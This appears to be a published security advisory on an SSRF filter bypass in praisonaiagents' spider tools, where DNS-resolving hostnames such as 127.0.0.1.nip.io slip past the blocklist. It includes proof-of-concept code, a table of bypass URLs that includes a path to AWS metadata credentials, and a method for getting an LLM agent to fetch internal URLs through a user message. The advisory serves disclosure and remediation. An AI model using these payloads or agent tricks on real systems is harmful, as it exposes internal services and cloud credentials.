PyPI · praisonaiagents
praisonaiagents has an SSRF protection bypass in `spider_tools._host_is_blocked()` via DNS-resolved hostnames (`127.0.0.1.nip.io`)
praisonaiagents/tools/spider_tools.py contains an SSRF protection bypass. The function
_host_is_blocked() validates URLs against a list of blocked IP literals and hostname
aliases, but never performs DNS resolution. Any hostname that resolves to a private or
loopback IP address — including public wildcard DNS services like 127.0.0.1.nip.io —
bypasses the protection entirely.
This has been confirmed with a live exploit: scrape_page("http://127.0.0.1.nip.io:PORT/secret")
makes an HTTP request to 127.0.0.1:PORT and returns the internal service response.
No attacker-controlled infrastructure is required.
scrape_page, extract_links, crawl, and extract_text are all registered as
LLM-callable agent tools (see tools/__init__.py lines 51-55), so any agent instructed
to fetch a user-supplied URL will trigger this path.
This is a new bypass of prior fix commit 004dcfef (GHSA-q9pw-vmhh-384g), which only
rejected IP literal encoding tricks (hex, octal, backslash). The fix was also applied to
web_crawl_tools.py (line 231: socket.gethostbyname call), but that fix was not
ported to spider_tools.py.
Root cause — spider_tools.py lines 26-65:
def _host_is_blocked(hostname: str) -> bool:
host = hostname.lower().rstrip(".")
# Checks literal aliases only — never resolves
if host in ("localhost", "0.0.0.0", "::1"):
return True
if host in ("169.254.169.254", "metadata.google.internal"):
return True
if any(host.endswith(s) for s in (".local", ".internal", ".localdomain")):
return True
# Tries to parse as IP literal only
try:
return _ip_blocked(ipaddress.ip_address(host))
except ValueError:
pass
try:
return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))
except OSError:
pass
return False # <-- ANY real hostname passes without DNS lookup
socket.inet_aton() only converts dotted-decimal strings, not hostnames. For any real
hostname (e.g. 127.0.0.1.nip.io), both ipaddress.ip_address() and socket.inet_aton()
raise exceptions, and the function returns False (not blocked).
Contrast with the fixed version in web_crawl_tools.py line 228-238:
if os.environ.get("ALLOW_LOCAL_CRAWL") != "true":
try:
ip_str = socket.gethostbyname(hostname) # DNS resolution performed
ip = ipaddress.ip_address(ip_str)
if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast:
continue # BLOCKED
except socket.gaierror:
continue # fail-closed
Tool registration confirms this is user-reachable:
# praisonaiagents/tools/__init__.py lines 51-55
TOOL_MAPPINGS = {
'scrape_page': ('.spider_tools', None), # <- user-reachable LLM tool
'extract_links': ('.spider_tools', None),
'crawl': ('.spider_tools', None),
'extract_text': ('.spider_tools', None),
...
}
Any agent given these tools will call scrape_page(url) when instructed to fetch
a user-supplied URL — including attacker-controlled ones.
Environment: Python 3.x, praisonaiagents <= 1.6.52, internet access (for nip.io)
Step 1 — Verify the filter bypass (no network needed):
from praisonaiagents.tools.spider_tools import SpiderTools, _host_is_blocked
# nip.io: public wildcard DNS — 127.0.0.1.nip.io always resolves to 127.0.0.1
print(_host_is_blocked("127.0.0.1.nip.io")) # False — NOT blocked
print(SpiderTools()._validate_url("http://127.0.0.1.nip.io/")) # True — ALLOWED
print(_host_is_blocked("127.0.0.1")) # True — correctly blocked
Expected output:
False
True
True
Step 2 — Full SSRF: internal service response exfiltrated
import threading, time, requests
from http.server import HTTPServer, BaseHTTPRequestHandler
from praisonaiagents.tools.spider_tools import SpiderTools
PORT = 19235
received = []
class InternalService(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers()
self.wfile.write(b'{"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}')
received.append(self.path)
def log_message(self, *a): pass
threading.Thread(
target=HTTPServer(("127.0.0.1", PORT), InternalService).serve_forever,
daemon=True
).start()
time.sleep(0.2)
attack_url = f"http://127.0.0.1.nip.io:{PORT}/secrets.json"
# Filter allows it
assert SpiderTools()._validate_url(attack_url) is True # passes
# HTTP request actually reaches 127.0.0.1
r = requests.get(attack_url, timeout=5)
print("STATUS:", r.status_code) # 200
print("BODY: ", r.text) # {"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}
print("HIT: ", received) # ['/secrets.json']
Observed output:
STATUS: 200
BODY: {"db_pass":"hunter2","aws_key":"AKIAIOSFODNN7EXAMPLE"}
HIT: ['/secrets.json']
Step 3 — Agent-level trigger (how a user triggers this in production):
from praisonaiagents import Agent
from praisonaiagents.tools import scrape_page
agent = Agent(
name="WebResearcher",
instructions="You are a research assistant. Fetch and summarize the given URL.",
tools=[scrape_page],
)
# Attacker sends this message to the agent:
result = agent.start("Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin")
# Agent calls scrape_page("http://127.0.0.1.nip.io:8080/admin")
# Request hits 127.0.0.1:8080/admin
# Internal admin panel content returned to attacker
print(result)
Additional bypass URLs (no setup required):
| Target | URL |
|---|---|
| Localhost | http://127.0.0.1.nip.io/ |
| Private network | http://10.0.0.1.nip.io/ |
| AWS IMDS (via sslip.io) | http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/ |
What kind of vulnerability: Server-Side Request Forgery (SSRF) — full read SSRF with arbitrary port access.
Who is impacted: Anyone deploying PraisonAI agents that include scrape_page,
extract_links, crawl, or extract_text tools and accept user-supplied URLs. This
includes:
agent_yaml
specifying spider toolshttp://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/
may return temporary IAM credentials, leading to full cloud account compromise.Severity note: This is a patch-gap variant. The SSRF protection was correctly
implemented for IP literals and enhanced in commit 004dcfef for encoding bypasses.
The DNS resolution check was added to web_crawl_tools.py but was missed in
spider_tools.py, creating an exploitable inconsistency.
---
## Remediation Suggestion (for maintainers)
One-line fix in `_host_is_blocked()` — mirror what `web_crawl_tools.py` already does:
```python
# After existing literal checks, add:
try:
resolved = socket.gethostbyname(hostname)
return _ip_blocked(ipaddress.ip_address(resolved))
except (socket.gaierror, ValueError, OSError):
return True # fail-closed: unresolvable host is blocked
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.